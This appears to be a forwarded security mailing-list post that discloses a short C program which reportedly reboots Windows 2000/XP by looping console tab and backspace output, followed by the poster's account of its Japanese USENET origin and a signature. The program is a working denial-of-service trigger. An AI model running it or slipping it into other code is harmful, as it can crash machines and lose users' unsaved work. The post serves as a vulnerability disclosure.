Some guys arround here are having fun with a little C program which causes Windows200/XP to reboot: #include <stdio.h> int main(void) { while (1) printf("\t\t\b\b\b\b\b\b"); return 0; } I don't know exactly where it was first seen, and who discovered it; just thought to forward it here maybe others have insights.
Originally it was posted to USENET in Japanese: the original groups are fj.os.ms-windows.programming and japan.comp.lang.visual-c++. The original poster then posted English translation into English newsgroups, it was forwarded by some people to SecurityFocus mailing lists. ======================================================================== 飯嶋 浩光 / でるもんた http://www.ht.sakura.ne.jp/~delmonta/ IIJIMA Hiromitsu, aka Delmonta mailto:delmonta () ht sakura ne jp mailto:delmonta () pop01 odn ne jp
